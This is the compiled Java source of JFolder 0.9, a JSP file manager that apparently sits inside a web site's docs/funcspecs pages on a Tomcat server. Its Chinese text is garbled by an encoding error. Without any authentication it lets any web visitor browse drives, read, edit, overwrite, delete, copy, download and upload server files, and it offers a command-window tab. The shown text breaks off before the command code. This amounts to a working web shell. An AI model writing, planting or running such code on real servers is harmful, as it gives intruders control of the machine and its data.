Edit C:\galaxie\deploy\Tomcat6\work\Catalina\localhost\docs\org\apache\jsp\funcspecs\_5_jsp.java
package org.apache.jsp.funcspecs; import javax.servlet.*; import javax.servlet.http.*; import javax.servlet.jsp.*; import java.io.*; import java.util.*; import java.net.*; public final class _5_jsp extends org.apache.jasper.runtime.HttpJspBase implements org.apache.jasper.runtime.JspSourceDependent { private final static int languageNo=0; //è¯è¨?ç??æ?¬ï¼?0 : ä¸æ??ï¼? 1ï¼?è?±æ?? String strThisFile="JFolder.jsp"; String[] authorInfo={" <font color=red> å??ç??ä¸?好ï¼?å°?å°±ç??ç?¨å?§ - - by æ??å?¤å¼º http://www.topronet.com </font>"," <font color=red> Thanks for your support - - by Steven Cee http://www.topronet.com </font>"}; String[] strFileManage = {"æ?? 件 管 ç??","File Management"}; String[] strCommand = {"CMD å?½ 令","Command Window"}; String[] strSysProperty = {"ç³» ç»? å±? æ?§","System Property"}; String[] strHelp = {"帮 å?©","Help"}; String[] strParentFolder = {"ä¸?级ç?®å½?","Parent Folder"}; String[] strCurrentFolder= {"å½?å??ç?®å½?","Current Folder"}; String[] strDrivers = {"驱å?¨å?¨","Drivers"}; String[] strFileName = {"æ??件å??称","File Name"}; String[] strFileSize = {"æ??件大å°?","File Size"}; String[] strLastModified = {"æ??å??ä¿®æ?¹","Last Modified"}; String[] strFileOperation= {"æ??件æ??ä½?","Operations"}; String[] strFileEdit = {"ä¿®æ?¹","Edit"}; String[] strFileDown = {"ä¸?è½½","Download"}; String[] strFileCopy = {"å¤?å?¶","Move"}; String[] strFileDel = {"å? é?¤","Delete"}; String[] strExecute = {"æ?§è¡?","Execute"}; String[] strBack = {"è¿?å??","Back"}; String[] strFileSave = {"ä¿?å?","Save"}; public class FileHandler { private String strAction=""; private String strFile=""; void FileHandler(String action,String f) { } } public static class UploadMonitor { static Hashtable uploadTable = new Hashtable(); static void set(String fName, UplInfo info) { uploadTable.put(fName, info); } static void remove(String fName) { uploadTable.remove(fName); } static UplInfo getInfo(String fName) { UplInfo info = (UplInfo) uploadTable.get(fName); return info; } } public class UplInfo { public long totalSize; public long currSize; public long starttime; public boolean aborted; public UplInfo() { totalSize = 0l; currSize = 0l; starttime = System.currentTimeMillis(); aborted = false; } public UplInfo(int size) { totalSize = size; currSize = 0; starttime = System.currentTimeMillis(); aborted = false; } public String getUprate() { long time = System.currentTimeMillis() - starttime; if (time != 0) { long uprate = currSize * 1000 / time; return convertFileSize(uprate) + "/s"; } else return "n/a"; } public int getPercent() { if (totalSize == 0) return 0; else return (int) (currSize * 100 / totalSize); } public String getTimeElapsed() { long time = (System.currentTimeMillis() - starttime) / 1000l; if (time - 60l >= 0){ if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; else return time / 60 + ":0" + (time % 60) + "m"; } else return time<10 ? "0" + time + "s": time + "s"; } public String getTimeEstimated() { if (currSize == 0) return "n/a"; long time = System.currentTimeMillis() - starttime; time = totalSize * time / currSize; time /= 1000l; if (time - 60l >= 0){ if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; else return time / 60 + ":0" + (time % 60) + "m"; } else return time<10 ? "0" + time + "s": time + "s"; } } public class FileInfo { public String name = null, clientFileName = null, fileContentType = null; private byte[] fileContents = null; public File file = null; public StringBuffer sb = new StringBuffer(100); public void setFileContents(byte[] aByteArray) { fileContents = new byte[aByteArray.length]; System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); } } // A Class with methods used to process a ServletInputStream public class HttpMultiPartParser { private final String lineSeparator = System.getProperty("line.separator", "\n"); private final int ONE_MB = 1024 * 1; public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, int clength) throws IllegalArgumentException, IOException { if (is == null) throw new IllegalArgumentException("InputStream"); if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( "\"" + boundary + "\" is an illegal boundary indicator"); boundary = "--" + boundary; StringTokenizer stLine = null, stFields = null; FileInfo fileInfo = null; Hashtable dataTable = new Hashtable(5); String line = null, field = null, paramName = null; boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); boolean isFile = false; if (saveFiles) { // Create the required directory (including parent dirs) File f = new File(saveInDir); f.mkdirs(); } line = getLine(is); if (line == null || !line.startsWith(boundary)) throw new IOException( "Boundary not found; boundary = " + boundary + ", line = " + line); while (line != null) { if (line == null || !line.startsWith(boundary)) return dataTable; line = getLine(is); if (line == null) return dataTable; stLine = new StringTokenizer(line, ";\r\n"); if (stLine.countTokens() < 2) throw new IllegalArgumentException( "Bad data in second line"); line = stLine.nextToken().toLowerCase(); if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( "Bad data in second line"); stFields = new StringTokenizer(stLine.nextToken(), "=\""); if (stFields.countTokens() < 2) throw new IllegalArgumentException( "Bad data in second line"); fileInfo = new FileInfo(); stFields.nextToken(); paramName = stFields.nextToken(); isFile = false; if (stLine.hasMoreTokens()) { field = stLine.nextToken(); stFields = new StringTokenizer(field, "=\""); if (stFields.countTokens() > 1) { if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { fileInfo.name = paramName; String value = stFields.nextToken(); if (value != null && value.trim().length() > 0) { fileInfo.clientFileName = value; isFile = true; } else { line = getLine(is); // Skip "Content-Type:" line line = getLine(is); // Skip blank line line = getLine(is); // Skip blank line line = getLine(is); // Position to boundary line continue; } } } else if (field.toLowerCase().indexOf("filename") >= 0) { line = getLine(is); // Skip "Content-Type:" line line = getLine(is); // Skip blank line line = getLine(is); // Skip blank line line = getLine(is); // Position to boundary line continue; } } boolean skipBlankLine = true; if (isFile) { line = getLine(is); if (line == null) return dataTable; if (line.trim().length() < 1) skipBlankLine = false; else { stLine = new StringTokenizer(line, ": "); if (stLine.countTokens() < 2) throw new IllegalArgumentException( "Bad data in third line"); stLine.nextToken(); // Content-Type fileInfo.fileContentType = stLine.nextToken(); } } if (skipBlankLine) { line = getLine(is); if (line == null) return dataTable; } if (!isFile) { line = getLine(is); if (line == null) return dataTable; dataTable.put(paramName, line); // If parameter is dir, change saveInDir to dir if (paramName.equals("dir")) saveInDir = line; line = getLine(is); continue; } try { UplInfo uplInfo = new UplInfo(clength); UploadMonitor.set(fileInfo.clientFileName, uplInfo); OutputStream os = null; String path = null; if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, fileInfo.clientFileName)); else os = new ByteArrayOutputStream(ONE_MB); boolean readingContent = true; byte previousLine[] = new byte[2 * ONE_MB]; byte temp[] = null; byte currentLine[] = new byte[2 * ONE_MB]; int read, read3; if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { line = null; break; } while (readingContent) { if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { line = null; uplInfo.aborted = true; break; } if (compareBoundary(boundary, currentLine)) { os.write(previousLine, 0, read - 2); line = new String(currentLine, 0, read3); break; } else { os.write(previousLine, 0, read); uplInfo.currSize += read; temp = currentLine; currentLine = previousLine; previousLine = temp; read = read3; }//end else }//end while os.flush(); os.close(); if (!saveFiles) { ByteArrayOutputStream baos = (ByteArrayOutputStream) os; fileInfo.setFileContents(baos.toByteArray()); } else fileInfo.file = new File(path); dataTable.put(paramName, fileInfo); uplInfo.currSize = uplInfo.totalSize; }//end try catch (IOException e) { throw e; } } return dataTable; } /** * Compares boundary string to byte array */ private boolean compareBoundary(String boundary, byte ba[]) { byte b; if (boundary == null || ba == null) return false; for (int i = 0; i < boundary.length(); i++) if ((byte) boundary.charAt(i) != ba[i]) return false; return true; } /** Convenience method to read HTTP header lines */ private synchronized String getLine(ServletInputStream sis) throws IOException { byte b[] = new byte[1024]; int read = sis.readLine(b, 0, b.length), index; String line = null; if (read != -1) { line = new String(b, 0, read); if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); } return line; } public String getFileName(String dir, String fileName) throws IllegalArgumentException { String path = null; if (dir == null || fileName == null) throw new IllegalArgumentException( "dir or fileName is null"); int index = fileName.lastIndexOf('/'); String name = null; if (index >= 0) name = fileName.substring(index + 1); else name = fileName; index = name.lastIndexOf('\\'); if (index >= 0) fileName = name.substring(index + 1); path = dir + File.separator + fileName; if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); else return path.replace('/', File.separatorChar); } } //End of class HttpMultiPartParser String formatPath(String p) { StringBuffer sb=new StringBuffer(); for (int i = 0; i < p.length(); i++) { if(p.charAt(i)=='\\') { sb.append("\\\\"); } else { sb.append(p.charAt(i)); } } return sb.toString(); } /** * Converts some important chars (int) to the corresponding html string */ static String conv2Html(int i) { if (i == '&') return "&"; else if (i == '<') return "<"; else if (i == '>') return ">"; else if (i == '"') return """; else return "" + (char) i; } /** * Converts a normal string to a html conform string */ static String htmlEncode(String st) { StringBuffer buf = new StringBuffer(); for (int i = 0; i < st.length(); i++) { buf.append(conv2Html(st.charAt(i))); } return buf.toString(); } String getDrivers() /** Windowsç³»ç»?ä¸?å??å¾?å?¯ç?¨ç??æ??æ??é?»è¾?ç?? */ { StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); File roots[]=File.listRoots(); for(int i=0;i<roots.length;i++) { sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">"); sb.append(roots[i]+"</a> "); } return sb.toString(); } static String convertFileSize(long filesize) { //bug 5.09M æ?¾ç¤º5.9M String strUnit="Bytes"; String strAfterComma=""; int intDivisor=1; if(filesize>=1024*1024) { strUnit = "MB"; intDivisor=1024*1024; } else if(filesize>=1024) { strUnit = "KB"; intDivisor=1024; } if(intDivisor==1) return filesize + " " + strUnit; strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; if(strAfterComma=="") strAfterComma=".0"; return filesize / intDivisor + "." + strAfterComma + " " + strUnit; } private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory(); private static java.util.List _jspx_dependants; private javax.el.ExpressionFactory _el_expressionfactory; private org.apache.AnnotationProcessor _jsp_annotationprocessor; public Object getDependants() { return _jspx_dependants; } public void _jspInit() { _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory(); _jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName()); } public void _jspDestroy() { } public void _jspService(HttpServletRequest request, HttpServletResponse response) throws java.io.IOException, ServletException { PageContext pageContext = null; HttpSession session = null; ServletContext application = null; ServletConfig config = null; JspWriter out = null; Object page = this; JspWriter _jspx_out = null; PageContext _jspx_page_context = null; try { response.setContentType("text/html;charset=gb2312"); pageContext = _jspxFactory.getPageContext(this, request, response, null, true, 8192, true); _jspx_page_context = pageContext; application = pageContext.getServletContext(); config = pageContext.getServletConfig(); session = pageContext.getSession(); out = pageContext.getOut(); _jspx_out = out; /** JFolder V0.9 windows platform @Filenameï¼? JFolder.jsp @Descriptionï¼? ä¸?个ç®?å??ç??ç³»ç»?æ??件ç?®å½?æ?¾ç¤ºç¨?åº?ï¼?类似äº?èµ?æº?管ç??å?¨ï¼?æ??ä¾?å?ºæ?¬ç??æ??件æ??ä½?ï¼?ä¸?è¿?å??è?½å¼±å¤?äº?ã?? @Authorï¼? Steven Cee @Email ï¼? cqq1978@Gmail.com @Bugs : ä¸?è½½æ?¶ï¼?ä¸æ??æ??件å??æ? æ³?æ£å¸¸æ?¾ç¤º */ out.write('\n'); out.write('\n'); out.write('\n'); out.write('\n'); request.setCharacterEncoding("gb2312"); String tabID = request.getParameter("tabID"); String strDir = request.getParameter("path"); String strAction = request.getParameter("action"); String strFile = request.getParameter("file"); String strPath = strDir + "\\" + strFile; String strCmd = request.getParameter("cmd"); StringBuffer sbEdit=new StringBuffer(""); StringBuffer sbDown=new StringBuffer(""); StringBuffer sbCopy=new StringBuffer(""); StringBuffer sbSaveCopy=new StringBuffer(""); StringBuffer sbNewFile=new StringBuffer(""); if((tabID==null) || tabID.equals("")) { tabID = "1"; } if(strDir==null||strDir.length()<1) { strDir = request.getRealPath("/"); } if(strAction!=null && strAction.equals("down")) { File f=new File(strPath); if(f.length()==0) { sbDown.append("æ??件大å°?为 0 å?è??ï¼?å°±ä¸?ç?¨ä¸?äº?å?§"); } else { response.setHeader("content-type","text/html; charset=ISO-8859-1"); response.setContentType("APPLICATION/OCTET-STREAM"); response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); out.clearBuffer(); int i; while ((i=fileInputStream.read()) != -1) { out.write(i); } fileInputStream.close(); out.close(); } } if(strAction!=null && strAction.equals("del")) { File f=new File(strPath); f.delete(); } if(strAction!=null && strAction.equals("edit")) { File f=new File(strPath); BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n"); sbEdit.append("<input type=hidden name=action value=save >\r\n"); sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n"); sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n"); sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> "); sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> "+strPath+"\r\n"); sbEdit.append("<br><textarea rows=30 cols=90 name=content>"); String line=""; while((line=br.readLine())!=null) { sbEdit.append(htmlEncode(line)+"\r\n"); } sbEdit.append("</textarea>"); sbEdit.append("<input type=hidden name=path value="+strDir+">"); sbEdit.append("</form>"); } if(strAction!=null && strAction.equals("save")) { File f=new File(strPath); BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); String strContent=request.getParameter("content"); bw.write(strContent); bw.close(); } if(strAction!=null && strAction.equals("copy")) { File f=new File(strPath); sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n"); sbCopy.append("<input type=hidden name=action value=savecopy >\r\n"); sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n"); sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n"); sbCopy.append("å??å§?æ??件ï¼? "+strPath+"<p>"); sbCopy.append("ç?®æ ?æ??件ï¼? <input type=text name=file2 size=40 value='"+strDir+"'><p>"); sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> "); sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p> \r\n"); sbCopy.append("</form>"); } if(strAction!=null && strAction.equals("savecopy")) { File f=new File(strPath); String strDesFile=request.getParameter("file2"); if(strDesFile==null || strDesFile.equals("")) { sbSaveCopy.append("<p><font color=red>ç?®æ ?æ??件é??误ã??</font>"); } else { File f_des=new File(strDesFile); if(f_des.isFile()) { sbSaveCopy.append("<p><font color=red>ç?®æ ?æ??件已å?å?¨,ä¸?è?½å¤?å?¶ã??</font>"); } else { String strTmpFile=strDesFile; if(f_des.isDirectory()) { if(!strDesFile.endsWith("\\")) { strDesFile=strDesFile+"\\"; } strTmpFile=strDesFile+"cqq_"+strFile; } File f_des_copy=new File(strTmpFile); FileInputStream in1=new FileInputStream(f); FileOutputStream out1=new FileOutputStream(f_des_copy); byte[] buffer=new byte[1024]; int c; while((c=in1.read(buffer))!=-1) { out1.write(buffer,0,c); } in1.close(); out1.close(); sbSaveCopy.append("å??å§?æ??件 ï¼?"+strPath+"<p>"); sbSaveCopy.append("ç?®æ ?æ??件 ï¼?"+strTmpFile+"<p>"); sbSaveCopy.append("<font color=red>å¤?å?¶æ??å??ï¼?</font>"); } } sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=è¿?å??>"); } if(strAction!=null && strAction.equals("newFile")) { String strF=request.getParameter("fileName"); String strType1=request.getParameter("btnNewFile"); String strType2=request.getParameter("btnNewDir"); String strType=""; if(strType1==null) { strType="Dir"; } else if(strType2==null) { strType="File"; } if(!strType.equals("") && !(strF==null || strF.equals(""))) { File f_new=new File(strF); if(strType.equals("File") && !f_new.createNewFile()) sbNewFile.append(strF+" æ??件å??建失败"); if(strType.equals("Dir") && !f_new.mkdirs()) sbNewFile.append(strF+" ç?®å½?å??建失败"); } else { sbNewFile.append("<p><font color=red>建ç«?æ??件æ??ç?®å½?å?ºé??ã??</font>"); } } if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) { String tempdir="."; boolean error=false; response.setContentType("text/html"); sbNewFile.append("<p><font color=red>建ç«?æ??件æ??ç?®å½?å?ºé??ã??</font>"); HttpMultiPartParser parser = new HttpMultiPartParser(); int bstart = request.getContentType().lastIndexOf("oundary="); String bound = request.getContentType().substring(bstart + 8); int clength = request.getContentLength(); Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); if (ht.get("cqqUploadFile") != null) { FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); File f1 = fi.file; UplInfo info = UploadMonitor.getInfo(fi.clientFileName); if (info != null && info.aborted) { f1.delete(); request.setAttribute("error", "Upload aborted"); } else { String path = (String) ht.get("path"); if(path!=null && !path.endsWith("\\")) path = path + "\\"; if (!f1.renameTo(new File(path + f1.getName()))) { request.setAttribute("error", "Cannot upload file."); error = true; f1.delete(); } } } } out.write("\n"); out.write("<html>\n"); out.write("<head>\n"); out.write("<style type=\"text/css\">\n"); out.write("td,select,input,body{font-size:9pt;}\n"); out.write("A { TEXT-DECORATION: none }\n"); out.write("\n"); out.write("#tablist{\n"); out.write("padding: 5px 0;\n"); out.write("margin-left: 0;\n"); out.write("margin-bottom: 0;\n"); out.write("margin-top: 0.1em;\n"); out.write("font:9pt;\n"); out.write("}\n"); out.write("\n"); out.write("#tablist li{\n"); out.write("list-style: none;\n"); out.write("display: inline;\n"); out.write("margin: 0;\n"); out.write("}\n"); out.write("\n"); out.write("#tablist li a{\n"); out.write("padding: 3px 0.5em;\n"); out.write("margin-left: 3px;\n"); out.write("border: 1px solid ;\n"); out.write("background: F6F6F6;\n"); out.write("}\n"); out.write("\n"); out.write("#tablist li a:link, #tablist li a:visited{\n"); out.write("color: navy;\n"); out.write("}\n"); out.write("\n"); out.write("#tablist li a.current{\n"); out.write("background: #EAEAFF;\n"); out.write("}\n"); out.write("\n"); out.write("#tabcontentcontainer{\n"); out.write("width: 100%;\n"); out.write("padding: 5px;\n"); out.write("border: 1px solid black;\n"); out.write("}\n"); out.write("\n"); out.write(".tabcontent{\n"); out.write("display:none;\n"); out.write("}\n"); out.write("\n"); out.write("</style>\n"); out.write("\n"); out.write("<script type=\"text/javascript\">\n"); out.write("\n"); out.write("var initialtab=["); out.print(tabID); out.write(", \"menu"); out.print(tabID); out.write("\"]\n"); out.write("\n"); out.write("////////Stop editting////////////////\n"); out.write("\n"); out.write("function cascadedstyle(el, cssproperty, csspropertyNS){\n"); out.write("if (el.currentStyle)\n"); out.write("return el.currentStyle[cssproperty]\n"); out.write("else if (window.getComputedStyle){\n"); out.write("var elstyle=window.getComputedStyle(el, \"\")\n"); out.write("return elstyle.getPropertyValue(csspropertyNS)\n"); out.write("}\n"); out.write("}\n"); out.write("\n"); out.write("var previoustab=\"\"\n"); out.write("\n"); out.write("function expandcontent(cid, aobject){\n"); out.write("if (document.getElementById){\n"); out.write("highlighttab(aobject)\n"); out.write("if (previoustab!=\"\")\n"); out.write("document.getElementById(previoustab).style.display=\"none\"\n"); out.write("document.getElementById(cid).style.display=\"block\"\n"); out.write("previoustab=cid\n"); out.write("if (aobject.blur)\n"); out.write("aobject.blur()\n"); out.write("return false\n"); out.write("}\n"); out.write("else\n"); out.write("return true\n"); out.write("}\n"); out.write("\n"); out.write("function highlighttab(aobject){\n"); out.write("if (typeof tabobjlinks==\"undefined\")\n"); out.write("collecttablinks()\n"); out.write("for (i=0; i<tabobjlinks.length; i++)\n"); out.write("tabobjlinks[i].style.backgroundColor=initTabcolor\n"); out.write("var themecolor=aobject.getAttribute(\"theme\")? aobject.getAttribute(\"theme\") : initTabpostcolor\n"); out.write("aobject.style.backgroundColor=document.getElementById(\"tabcontentcontainer\").style.backgroundColor=themecolor\n"); out.write("}\n"); out.write("\n"); out.write("function collecttablinks(){\n"); out.write("var tabobj=document.getElementById(\"tablist\")\n"); out.write("tabobjlinks=tabobj.getElementsByTagName(\"A\")\n"); out.write("}\n"); out.write("\n"); out.write("function do_onload(){\n"); out.write("collecttablinks()\n"); out.write("initTabcolor=cascadedstyle(tabobjlinks[1], \"backgroundColor\", \"background-color\")\n"); out.write("initTabpostcolor=cascadedstyle(tabobjlinks[0], \"backgroundColor\", \"background-color\")\n"); out.write("expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])\n"); out.write("}\n"); out.write("\n"); out.write("if (window.addEventListener)\n"); out.write("window.addEventListener(\"load\", do_onload, false)\n"); out.write("else if (window.attachEvent)\n"); out.write("window.attachEvent(\"onload\", do_onload)\n"); out.write("else if (document.getElementById)\n"); out.write("window.onload=do_onload\n"); out.write("\n"); out.write("\n"); out.write("\n"); out.write("</script>\n"); out.write("<script language=\"javascript\">\n"); out.write("\n"); out.write("function doForm(action,path,file,cmd,tab,content)\n"); out.write("{\n"); out.write("\tdocument.frmCqq.action.value=action;\n"); out.write("\tdocument.frmCqq.path.value=path;\n"); out.write("\tdocument.frmCqq.file.value=file;\n"); out.write("\tdocument.frmCqq.cmd.value=cmd;\n"); out.write("\tdocument.frmCqq.tabID.value=tab;\n"); out.write("\tdocument.frmCqq.content.value=content;\n"); out.write("\tif(action==\"del\")\n"); out.write("\t{\n"); out.write("\t\tif(confirm(\"ç¡®å®?è¦?å? é?¤æ??件 \"+file+\" å??ï¼?\"))\n"); out.write("\t\tdocument.frmCqq.submit();\n"); out.write("\t}\n"); out.write("\telse\n"); out.write("\t{\n"); out.write("\t\tdocument.frmCqq.submit(); \n"); out.write("\t}\n"); out.write("}\n"); out.write("</script>\n"); out.write("\n"); out.write("<title>JFoler 0.9 ---A jsp based web folder management tool by Steven Cee</title>\n"); out.write("<head>\n"); out.write("\n"); out.write("\n"); out.write("<body>\n"); out.write("\n"); out.write("<form name=\"frmCqq\" method=\"post\" action=\"\">\n"); out.write("<input type=\"hidden\" name=\"action\" value=\"\">\n"); out.write("<input type=\"hidden\" name=\"path\" value=\"\">\n"); out.write("<input type=\"hidden\" name=\"file\" value=\"\">\n"); out.write("<input type=\"hidden\" name=\"cmd\" value=\"\">\n"); out.write("<input type=\"hidden\" name=\"tabID\" value=\"2\">\n"); out.write("<input type=\"hidden\" name=\"content\" value=\"\">\n"); out.write("</form>\n"); out.write("\n"); out.write("<!--Top Menu Started-->\n"); out.write("<ul id=\"tablist\">\n"); out.write("<li><a href=\"http://www.smallrain.net\" class=\"current\" onClick=\"return expandcontent('menu1', this)\"> "); out.print(strFileManage[languageNo]); out.write(" </a></li>\n"); out.write("<li><a href=\"new.htm\" onClick=\"return expandcontent('menu2', this)\" theme=\"#EAEAFF\"> "); out.print(strCommand[languageNo]); out.write(" </a></li>\n"); out.write("<li><a href=\"hot.htm\" onClick=\"return expandcontent('menu3', this)\" theme=\"#EAEAFF\"> "); out.print(strSysProperty[languageNo]); out.write(" </a></li>\n"); out.write("<li><a href=\"search.htm\" onClick=\"return expandcontent('menu4', this)\" theme=\"#EAEAFF\"> "); out.print(strHelp[languageNo]); out.write(" </a></li>\n"); out.write(" "); out.print(authorInfo[languageNo]); out.write("\n"); out.write("</ul>\n"); out.write("<!--Top Menu End-->\n"); out.write("\n"); out.write("\n"); StringBuffer sbFolder=new StringBuffer(""); StringBuffer sbFile=new StringBuffer(""); try { File objFile = new File(strDir); File list[] = objFile.listFiles(); if(objFile.getAbsolutePath().length()>3) { sbFolder.append("<tr><td > </td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">"); sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n "); } for(int i=0;i<list.length;i++) { if(list[i].isDirectory()) { sbFolder.append("<tr><td > </td><td>"); sbFolder.append(" <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">"); sbFolder.append(list[i].getName()+"</a><br></td></tr> "); } else { String strLen=""; String strDT=""; long lFile=0; lFile=list[i].length(); strLen = convertFileSize(lFile); Date dt=new Date(list[i].lastModified()); strDT=dt.toLocaleString(); sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>"); sbFile.append(""+list[i].getName()); sbFile.append("</td><td>"); sbFile.append(""+strLen); sbFile.append("</td><td>"); sbFile.append(""+strDT); sbFile.append("</td><td>"); sbFile.append(" <a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); sbFile.append(strFileEdit[languageNo]+"</a> "); sbFile.append(" <a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); sbFile.append(strFileDel[languageNo]+"</a> "); sbFile.append(" <a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); sbFile.append(strFileDown[languageNo]+"</a> "); sbFile.append(" <a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); sbFile.append(strFileCopy[languageNo]+"</a> "); } } } catch(Exception e) { out.println("<font color=red>æ??ä½?失败ï¼? "+e.toString()+"</font>"); } out.write("\n"); out.write("\n"); out.write("<DIV id=\"tabcontentcontainer\">\n"); out.write("\n"); out.write("\n"); out.write("<div id=\"menu3\" class=\"tabcontent\">\n"); out.write("<br> \n"); out.write("<br> æ?ªå®?æ??\n"); out.write("<br> \n"); out.write("<br> \n"); out.write("\n"); out.write("</div>\n"); out.write("\n"); out.write("<div id=\"menu4\" class=\"tabcontent\">\n"); out.write("<br>\n"); out.write("<p>ä¸?ã??å??è?½è¯´æ??</p>\n"); out.write("<p> jsp ç??æ?¬ç??æ??件管ç??å?¨ï¼?é??è¿?该ç¨?åº?å?¯ä»¥è¿?ç¨?管ç??æ??å?¡å?¨ä¸?ç??æ??件系ç»?ï¼?æ?¨å?¯ä»¥æ?°å»ºã??ä¿®æ?¹ã??</p>\n"); out.write("<p>å? é?¤ã??ä¸?è½½æ??件å??ç?®å½?ã??对äº?windowsç³»ç»?ï¼?è¿?æ??ä¾?äº?å?½ä»¤è¡?çª?å?£ç??å??è?½ï¼?å?¯ä»¥è¿?è¡?ä¸?äº?ç¨?åº?ï¼?类似</p>\n"); out.write("<p>ä¸?windowsç??cmdã??</p>\n"); out.write("<p> </p>\n"); out.write("<p>äº?ã??æµ?è¯?</p>\n"); out.write("<p> <b>请大家å?¨ä½¿ç?¨è¿?ç¨?ä¸ï¼?æ??ä»»ä½?é?®é¢?ï¼?æ??è§?æ??è??建议é?½å?¯ä»¥ç»?æ??ç??è¨?ï¼?以便使è¿?个ç¨?åº?æ?´å? å®?å??å??稳å®?ï¼?<p>\n"); out.write("ç??è¨?å?°å??为ï¼?<a href=\"http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx\" target=\"_blank\">http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx</a></b>\n"); out.write("<p> </p>\n"); out.write("<p>ä¸?ã??æ?´æ?°è®°å½?</p>\n"); out.write("<p> 2004.11.15 V0.9æµ?è¯?ç??å??å¸?ï¼?å¢?å? äº?ä¸?äº?å?ºæ?¬ç??å??è?½ï¼?æ??件ç¼?è¾?ã??å¤?å?¶ã??å? é?¤ã??ä¸?è½½ã??ä¸?ä¼ ä»¥å??æ?°å»ºæ??件ç?®å½?å??è?½</p>\n"); out.write("<p> 2004.10.27 æ??æ?¶å®?为0.6ç??å?§ï¼? æ??ä¾?äº?ç?®å½?æ??件æµ?è§?å??è?½ å?? cmdå??è?½</p>\n"); out.write("<p> 2004.09.20 第ä¸?个jsp ç¨?åº?å°±æ?¯è¿?个ç®?å??ç??æ?¾ç¤ºç?®å½?æ??件ç??å°?ç¨?åº?</p>\n"); out.write("<p> </p>\n"); out.write("<p> </p>\n"); out.write("</div>\n"); out.write("\n"); out.write("\n"); out.write("<div id=\"menu1\" class=\"tabcontent\">\n"); out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+"ï¼? <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n"); out.write("\n"); out.write("<table width=\"100%\" border=\"1\" cellspacing=\"0\" cellpadding=\"5\" bordercolorlight=\"#000000\" bordercolordark=\"#FFFFFF\">\n"); out.write(" \n"); out.write(" <tr> \n"); out.write(" <td width=\"25%\" align=\"center\" valign=\"top\"> \n"); out.write(" <table width=\"98%\" border=\"0\" cellspacing=\"0\" cellpadding=\"3\">\n"); out.write(" \t\t\t\t"); out.print(sbFolder); out.write("\n"); out.write(" </tr> \n"); out.write(" </table>\n"); out.write(" </td>\n"); out.write(" <td width=\"81%\" align=\"left\" valign=\"top\">\n"); out.write("\t\n"); out.write("\t"); if(strAction!=null && strAction.equals("edit")) { out.println(sbEdit.toString()); } else if(strAction!=null && strAction.equals("copy")) { out.println(sbCopy.toString()); } else if(strAction!=null && strAction.equals("down")) { out.println(sbDown.toString()); } else if(strAction!=null && strAction.equals("savecopy")) { out.println(sbSaveCopy.toString()); } else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals("")) { out.println(sbNewFile.toString()); } else { out.write("\n"); out.write("\t\t<span id=\"EditBox\"><table width=\"98%\" border=\"1\" cellspacing=\"1\" cellpadding=\"4\" bordercolorlight=\"#cccccc\" bordercolordark=\"#FFFFFF\" bgcolor=\"white\" >\n"); out.write(" <tr 